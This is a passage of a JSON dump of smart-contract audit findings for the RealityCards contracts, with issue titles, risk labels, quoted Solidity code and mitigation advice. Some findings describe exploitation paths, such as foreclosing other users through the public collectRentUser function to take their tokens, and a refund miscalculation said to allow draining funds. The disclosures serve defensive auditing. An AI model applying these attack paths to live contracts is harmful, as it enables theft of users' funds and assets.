"2021-06-realitycards-findings", "body": "# Handle maplesyrup # Vulnerability details ## Impact 1 - Low Risk - Possible incorrect use of variables are at stake which may have bad side effects to the contract if implemented incorrectly. ## Proof of Concept According to the Slither-analyzer documentation (https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing), shadowing local variables is naming conventions found in two or more variables that are similar. Although they do not pose any immediate risk to the contract, incorrect usage of the variables is possible and can cause serious issues if the developer does not pay close attention. It is recommended that the naming of the following variables should be changed slightly to avoid any confusion: ------------------------------------------------------------------- RCOrderbook._updateBidInOrderbook(address,address,uint256,uint256,uint256,RCOrderbook.Bid)._owner (contracts/RCOrderbook.sol line(s)#358) shadows: Ownable._owner <------(state variable) (node_modules/@openzeppelin/contracts/access/Ownable.sol line(s)#19) ------------------------------------------------------------------- RCOrderbook.closeMarket()._owner (contracts/RCOrderbook.sol line(s)#639) shadows: Ownable._owner <------(state variable) (node_modules/@openzeppelin/contracts/access/Ownable.sol line(s)#19) ------------------------------------------------------------------- ## Tools Used Solidity Compiler 0.8.4 Hardhat v2.3.3 Slither v0.8.0 Compiled, Tested, Deployed contracts on a local hardhat network. Ran Slither-analyzer for further detecting and testing. ## Recommended Mitigation Steps (Worked best under python venv) 1. Clone Project Repository 2. Run Project against Hardhat network; compile and run default test on contracts. 3. Installed slither analyzer: https://github.com/crytic/slither 4. Ran [$ slither .] against RCOrderbook.sol and all contracts to verify results "}, {"title": "Redudant calculations in payRent when marketBalance < _amount", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle pauliax # Vulnerability details ## Impact _amount -= (_amount - marketBalance); is basically the same as: _amount = marketBalance; "}, {"title": "Wrong calculation on _collectRentAction", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/122", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact The method `_collectRentAction` contains the following code: ``` ... } else if (!_foreclosed && _limitHit && _marketLocked) { // CASE 4 // didn't foreclose AND // did hit time limit AND // did lock market // THEN refund rent between the earliest event and now if (_cardTimeLimitTimestamp < marketLockingTime) { // time limit hit before market locked _timeOfThisCollection = _cardTimeLimitTimestamp; _newOwner = true; _refundTime = block.timestamp - _cardTimeLimitTimestamp; } else { // market locked before time limit hit _timeOfThisCollection = marketLockingTime; _newOwner = false; _refundTime = block.timestamp - marketLockingTime; } } else if (_foreclosed && !_limitHit && !_marketLocked) { // CASE 5 // did foreclose AND // didn't hit time limit AND // didn't lock market // THEN rent OK, find new owner _timeOfThisCollection = _timeUserForeclosed; _newOwner = true; _refundTime = 0; } else if (_foreclosed && !_limitHit && _marketLocked) { // CASE 6 // did foreclose AND // didn't hit time limit AND // did lock market // THEN if foreclosed first rent ok, otherwise refund after locking if (_timeUserForeclosed < marketLockingTime) { // user foreclosed before market locked _timeOfThisCollection = _timeUserForeclosed; _newOwner = true; _refundTime = 0; } else { // market locked before user foreclosed _timeOfThisCollection = marketLockingTime; _newOwner = false; _refundTime = block.timestamp - marketLockingTime; } } else if (_foreclosed && _limitHit && !_marketLocked) { // CASE 7 // did foreclose AND // did hit time limit AND // didn't lock market // THEN if foreclosed first rent ok, otherwise refund after limit if (_timeUserForeclosed < _cardTimeLimitTimestamp) { // user foreclosed before time limit _timeOfThisCollection = _timeUserForeclosed; _newOwner = true; _refundTime = 0; } else { // time limit hit before user foreclosed _timeOfThisCollection = _cardTimeLimitTimestamp; _newOwner = true; _refundTime = _timeUserForeclosed - _cardTimeLimitTimestamp; } } else { // CASE 8 // did foreclose AND // did hit time limit AND // did lock market // THEN (\u256f\u00b0\u76ca\u00b0)\u256f\u5f61\u253b\u2501\u253b if ( _timeUserForeclosed <= _cardTimeLimitTimestamp && _timeUserForeclosed < marketLockingTime ) { // user foreclosed first (or at same time as time limit) _timeOfThisCollection = _timeUserForeclosed; _newOwner = true; _refundTime = 0; } else if ( _cardTimeLimitTimestamp < _timeUserForeclosed && _cardTimeLimitTimestamp < marketLockingTime ) { // time limit hit first _timeOfThisCollection = _cardTimeLimitTimestamp; _newOwner = true; _refundTime = _timeUserForeclosed - _cardTimeLimitTimestamp; } else { // market locked first _timeOfThisCollection = marketLockingTime; _newOwner = false; _refundTime = _timeUserForeclosed - marketLockingTime; } ... ``` On the case 6, instead of doing `_refundTime = _timeUserForeclosed - marketLockingTime;` like the following cases, is doing `_refundTime = block.timestamp - marketLockingTime;`. This could lead to funds being drained by the miscalculation. "}, {"title": "Anyone can affect deposits of any user and turn the owner of the token", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/119", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact On `RCTreasury`, we have the method `collectRentUser`. This method is public, so anyone can call it using whatever user and whatever timestamp. So, calling this method using `user = XXXXX` and `_timeToCollectTo = type(uint256).max)`, would make `isForeclosed[user] = true`. ``` function collectRentUser(address _user, uint256 _timeToCollectTo) public override returns ( uint256 newTimeLastCollectedOnForeclosure ) { require(!globalPause, \"Global pause is enabled\"); assert(_timeToCollectTo != 0); if (user[_user].lastRentCalc < _timeToCollectTo) { uint256 rentOwedByUser = rentOwedUser(_user, _timeToCollectTo); if (rentOwedByUser > 0 && rentOwedByUser > user[_user].deposit) { // The User has run out of deposit already. uint256 previousCollectionTime = user[_user].lastRentCalc; /* timeTheirDepsitLasted = timeSinceLastUpdate * (usersDeposit/rentOwed) = (now - previousCollectionTime) * (usersDeposit/rentOwed) */ uint256 timeUsersDepositLasts = ((_timeToCollectTo - previousCollectionTime) * uint256(user[_user].deposit)) / rentOwedByUser; /* Users last collection time = previousCollectionTime + timeTheirDepsitLasted */ rentOwedByUser = uint256(user[_user].deposit); newTimeLastCollectedOnForeclosure = previousCollectionTime + timeUsersDepositLasts; _increaseMarketBalance(rentOwedByUser, _user); user[_user].lastRentCalc = SafeCast.toUint64( newTimeLastCollectedOnForeclosure ); assert(user[_user].deposit == 0); isForeclosed[_user] = true; emit LogUserForeclosed(_user, true); } else { // User has enough deposit to pay rent. _increaseMarketBalance(rentOwedByUser, _user); user[_user].lastRentCalc = SafeCast.toUint64(_timeToCollectTo); } emit LogAdjustDeposit(_user, rentOwedByUser, false); } } ``` Now, we can do the same for all the users bidding for a specific token. Finally, I can become the owner of the token by just calling `newRental` and using a small price. `newRental` will iterate over all the previous bid and will remove them because there are foreclosed. ## Tools Used Editor ## Recommended Mitigation Steps `collectRentUser` should be private and create a new public method with `onlyOrderbook` modifier "}, {"title": "NFT Hub implementation deviates from ERC721 for transfer functions", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/118", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact ERC721 standard and implementation allows the use of approved addresses to affect transfers besides the token owners. However, the L2 NFT Hub implementation deviates from ERC721 by ignoring the presence of any approvers in the overriding function implementations of transferFrom() and safeTransferFrom(). Impact: The system interactions with NFT platforms may not work if they expect ERC721 adherence. Users who interact via approved addresses will see their transfers failing for their approved addresses. Given that the key value proposition of this project is the use of NFTs, the expectation will be that it is fully compatible with ERC721. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/nfthubs/RCNftHubL2.sol#L212-L234 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/00128bd26061986d10172573ceec914a4f3b4d3c/contracts/token/ERC721/ERC721.sol#L158 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add support for approval in NFT transfers. "}, {"title": "Calculation imprecision when calculating the reaming cut", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/117", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "Calculation imprecision when calculating the reaming cut"}, {"title": "Missing balancedBooks modifier could result in failed system insolvency detection", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/112", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-06-realitycards-findings", "body": "Missing balancedBooks modifier could result in failed system insolvency detection"}, {"title": "questionFinalised is redundant", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/111", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle pauliax # Vulnerability details ## Impact questionFinalised is redundant, it is only set to true or false but never queried or used in any meaningful way. ## Recommended Mitigation Steps Remove questionFinalised from the codebase. "}, {"title": "Missing call to removeOldBids may affect foreclosure", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/109", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Orderbook.removeBids() as commented \u201c///remove bids in closed markets for a given user ///this can reduce the users bidRate and chance to foreclose\u201d removeOldBids() is performed currently in Market.newRental() and Treasury.deposit() to \u201cdo some cleaning up, it might help cancel their foreclosure\u201d as commented. However, this is missing in the withdrawDeposit() function where the need is the most because user is removing deposit which may lead to foreclosure and is even commented as being useful on L356. Impact: If we do not remove closed market bids during withdrawDeposit, the closed market bids still get accounted in user's bidrate in the conditional on L357 and therefore do not prevent the foreclosure in withdrawDeposit that may happen in L357-L367. User may get foreclosed because of mis-accounted closed-market bids in the order book. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCOrderbook.sol#L671-L713 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L356 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L357-L367 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L704-L705 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L300-L301 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add call to removeOldBids() on L355 of withdrawDeposit() of Treasury. "}, {"title": "Deposit double-counting miscalculation could incorrectly prevent user foreclosure", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-06-realitycards-findings", "body": "Deposit double-counting miscalculation could incorrectly prevent user foreclosure"}, {"title": "Deposit whitelist enforced on msg.sender instead of user", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/107", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-06-realitycards-findings", "body": "Deposit whitelist enforced on msg.sender instead of user"}, {"title": "Critical uberOwner address changes should be a two-step process", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/105", "labels": ["bug", "2 (Med Risk)"], "target": "2021-06-realitycards-findings", "body": "Critical uberOwner address changes should be a two-step process"}, {"title": "Test function left behind can expose order book", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/101", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-06-realitycards-findings", "body": "Test function left behind can expose order book"}, {"title": "Unused named return values are misleading and could lead to errors", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/96", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The code base uses a mix of named return values and explicit returns. In some places, the named return values are never assigned to and explicit returns are used instead. Impact: This makes code readability and auditability hard potentially leading to errors and missed vulnerabilities. ## Proof of Concept Named return value shouldContinue is never assigned in _collectRentAction(): https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L856 Named return value didUpdateEverything is never assigned in _collectRent(): https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L1040 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove unassigned named return variables and be consistent in named vs explicit return usage. "}, {"title": "Redundant allowance and balance checks", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact In Market sponsor() the call to treasury.checkSponsorship() checks allowance and balance of user. This is redundant because the call to treasury.sponsor downstream checks allowance again and insufficient balance would cause any transfer to fail anyway. Impact: Given the gas sensitivity of the code base, removing this redundant check could help conserve gas and prevent any DoS from breaking gas limits. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L810 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L386-L396 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L474-L478 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove redundant checks. "}, {"title": "exitedTimestamp set prematurely", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/91", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The exitedTimestamp flag is used to prevent front-running of user exiting and re-entering in the same block. The setting of this flag in exit() should really be inside the conditionals and triggered only if current owner or if bidExists. It currently assumes that either of the two will always be true which may not necessarily be the case. Impact: A user accidentally exiting a card he doesn't own or have a bid for currently will be marked as exited and prevented from a newRental in the same block. User can prevent one's own newRental from succeeding, because it was accidentally triggered, by front-running it himself with an exit. There could be other more realistic scenarios. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L784-L804 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L56-L57 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L678-L681 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Set exitedTimestamp flag only when the conditionals are true within exit() "}, {"title": "Assert indicates unnecessary check or missing constraint/logic", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/90", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-06-realitycards-findings", "body": "Assert indicates unnecessary check or missing constraint/logic"}, {"title": "Flows can bypass market and global pause", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/89", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-06-realitycards-findings", "body": "Flows can bypass market and global pause"}, {"title": "maxSumOfPrices check is broken", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact rentAllCards() requires the sender to specify a _maxSumOfPrices parameter which specifies \u201climit to the sum of the bids to place\u201d as specified in the Natspec @param comment. This is apparently for front-run protection. However, this function parameter constraint for _maxSumOfPrices is broken in the function implementation which leads to the total of bids places greater than the _maxSumOfPrices specified. Impact: The user may not have sufficient deposit, be foreclosed and/or impacted on other bids/markets. ## Proof of Concept Scenario: Assume two cards for a market with current winning rentals of 50 each. _maxSumofPrices = 101 passes check on L643 but then the forced 10% increase on L650 (assuming sender is not the owner of either card) causes newRentals to be called with 55 for each card thus totalling to 110 which is > 101 as requested by the user. https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L636-L637 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L639-L657 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Modify the max sum of prices check logic to consider the 10% increase scenarios. Document and suggest the max sum of prices for the user in the UI based on the card prices and 10% requirement depending on card ownership. "}, {"title": "Missing market open check", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/86", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Missing _checkState(States.OPEN) on first line of rentAllCards() as specified on L617. These core market functions are supposed to operate only when market is open but the missing check allows control to proceed further in the control flow. In this case, the function proceeds to call newRental() which has a conditional check state == States.OPEN and silently returns success otherwise, without reverting. Impact: rentAllCards does not fail if executed when market is closed or locked. newRental returns silently without failure when market is closed or locked. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L617 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L637-L658 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L672 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add a require() to check market open state in the beginning of all core market functions and revert with an informative error string otherwise. "}, {"title": "Use of assert() instead of require()", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/83", "labels": ["bug", "1 (Low Risk)"], "target": "2021-06-realitycards-findings", "body": "Use of assert() instead of require()"}, {"title": "Misplaced zero-address check", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Misplaced zero-address check for nfthub on L595 in createMarket() because nfthub cannot be 0 at this point as nfthub.addMarket() on L570 would have already reverted if that were the case. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L570 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L595 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Move nfthub zero-address check to before the call to nfthub.addMarket(). "}, {"title": "Susceptible to collusion and sybil attacks", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/79", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-06-realitycards-findings", "body": "Susceptible to collusion and sybil attacks"}, {"title": "Making isMarketApproved False on an operational market will lock NFTs to L2", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/76", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Once market is approved and operational, changing approval to false should not be allowed or else it will prevent NFTs from being withdrawn to mainnet. All other Governor controlled variables are used during market creation and not thereafter, except this one. The other onlyGovernors functions only affect state before market creation but this one affects after creation. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L382-L391 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L326-L330 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Once market is approved and operational, changing approval to false should not be allowed. "}, {"title": "isGovernor excludes Factory owner", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/75", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "isGovernor excludes Factory owner"}, {"title": "Missing input validation on timeout", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/74", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "Missing input validation on timeout"}, {"title": "Basis points usage deviates from general definition", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/72", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The general definition of basis points is 100 bps = 1%. The usage here, 1000 bps = 100%, deviates from generally accepted definition and could cause confusion among users/creators/affiliates or potential miscalculations. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L228 https://www.investopedia.com/terms/b/basispoint.asp ## Tools Used Manual Analysis ## Recommended Mitigation Steps Document the used definition of basis points or switch to the generally accepted definition. "}, {"title": "NFT minting limit dependence on block gas limit", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/70", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "NFT minting limit dependence on block gas limit"}, {"title": "Use of ecrecover is susceptible to signature malleability", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/66", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "Use of ecrecover is susceptible to signature malleability"}, {"title": "Missing events in multiple functions ", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/65", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "Missing events in multiple functions "}, {"title": "prevent bids in WINNER_TAKES_ALL when it is no longer possible to win", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "prevent bids in WINNER_TAKES_ALL when it is no longer possible to win"}, {"title": "Redundant require() statement in RCFactory.createMarket()", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle jvaqa # Vulnerability details Redundant require() statement in RCFactory.createMarket() ## Impact RCFactory.createMarket() contains two require() statements side-by-side both checking the value of the relative values of _timestamps[0] and block.timestamp. // [1] However, there is no case where the first require() statement would be triggered without the second require() statement also being triggered, since advancedWarning cannot have a negative value. // [2] Thus, the first require() statement is redundant, and unnecessarily uses gas. ## Proof of Concept Alice can call RCFactory.createMarket() with an advancedWarning value greater than zero, and a _timestamps[0] value less than block.timestamp. ## Recommended Mitigation Steps Remove this require statement: require( _timestamps[0] >= block.timestamp, \"Market opening time not set\" ); // [3] [1] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L520 [2] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L524 [3] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L520 "}, {"title": "RCFactory.createMarket() does not enforce _timestamps[1] and _timestamps[2] being larger than _timestamps[0], even though proper functioning requires them to be so", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/61", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle jvaqa # Vulnerability details RCFactory.createMarket() does not enforce _timestamps[1] and _timestamps[2] being larger than _timestamps[0], even though proper functioning requires them to be so. ## Impact IRCMarket defines a sequence of events that each market should progress through sequentially, CLOSED, OPEN, LOCKED, WITHDRAW. // [1] The comments explicitly state that _incrementState() should be called \"thrice\". // [2] However, it is possible to create a market where these events do not occur sequentially. You can create a market where the marketOpeningTime is later than the marketLockingTime and oracleResolutionTime. This is because although RCFactory checks to ensure that _timestamps[2] is greater than _timestamps[1], it does not check to ensure that _timestamps[1] is greater than _timestamps[0]. // [3] This is also because although RCFactory checks to ensure that _timestamps[0] is equal to or greater than block.timestamp, it makes no check for a minimum value for _timestamps[1] or _timestamps[2], or a relative check between the value of _timestamps[0] and _timestamps[1]. // [4] Thus, you can create a market where the marketLockingTime and the oracleResolutionTime occur before the marketOpeningTime. ## Proof of Concept When calling RCFactory.createMarket(), Alice can supply 0 as the argument for _timestamps[1] and _timestamps[2], and any value equal to or greater than block.timestamp for _timestamps[0]. // [5] ## Recommended Mitigation Steps Add the following check to RCFactory.createMarket(): require( _timestamps[0] < _timestamps[1], \"market must begin before market can lock\" ); [1] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/interfaces/IRCMarket.sol#L7 [2] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L1093 [3] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L539 [4] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L521 [5] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCFactory.sol#L468 "}, {"title": "Lack of zero address validation ", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/56", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact constructor of RCorderbook.sol lacks zero address validation , since parameter of costructor are used initialize state variable which are used in other function of the contract , error in these state variable can lead to redeployment of contract ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCOrderbook.sol#L106 ## Tools Used manual review ## Recommended Mitigation Steps add require condition to check for zero address "}, {"title": "Unused return value from orderbook.findNewOwner() and treasury.payRent()", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/53", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact checking the return value from function indicates ether function call was success or failure because of that, we should utilise the return value ## Proof of Concept In RCmarket.sol https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCMarket.sol#L1025 https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCMarket.sol#L1060 ## Tools Used slither ## Recommended Mitigation Steps Utilize return value "}, {"title": "RCTreasury.addToWhitelist() will erroneously remove user from whitelist if user is already whitelisted", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/49", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-realitycards-findings", "body": "# Handle jvaqa # Vulnerability details RCTreasury.addToWhitelist() will erroneously remove user from whitelist if user is already whitelisted ## Impact The comments state that calling addToWhitelist() should add a user to the whitelist. [1] However, since the implementation simply flips the user's whitelist bool, if the user is already on the whitelist, then calling addToWhitelist() will actually remove them from the whitelist. [2] Since batchAddToWhitelist() will repeatedly call addToWhitelist() with an entire array of users, it is very possible that someone could inadvertently call addToWhitelist twice for a particular user, thereby leaving them off of the whitelist. [3] ## Proof of Concept If a governor calls addToWhitelist() with the same user twice, the user will not be added to the whitelist, even though the comments state that they should. ## Recommended Mitigation Steps Change addToWhitelist to only ever flip a user's bool to true. To clarify the governor's intention, create a corresponding removeFromWhitelist and batchRemoveFromWhitelist which flip a user's bool to false, so that the governor does not accidently remove a user when intending to add them. Change this: isAllowed[_user] = !isAllowed[_user]; // [4] To this: isAllowed[_user] = true; // [4] And add this: /// @notice Remove a user to the whitelist function removeFromWhitelist(address _user) public override { IRCFactory factory = IRCFactory(factoryAddress); require(factory.isGovernor(msgSender()), \"Not authorised\"); isAllowed[_user] = false; } /// @notice Remove multiple users from the whitelist function batchRemoveFromWhitelist(address[] calldata _users) public override { for (uint256 index = 0; index < _users.length; index++) { removeFromWhitelist(_users[index]); } } [1] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L209 [2] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L213 [3] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L217 [4] https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCTreasury.sol#L213 "}, {"title": "Possible locked-ether (funds) Issue in RCOrderbook.sol", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-06-realitycards-findings", "body": "Possible locked-ether (funds) Issue in RCOrderbook.sol"}, {"title": "anyone can call function sponsor", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/40", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle pauliax # Vulnerability details ## Impact This function sponsor should only 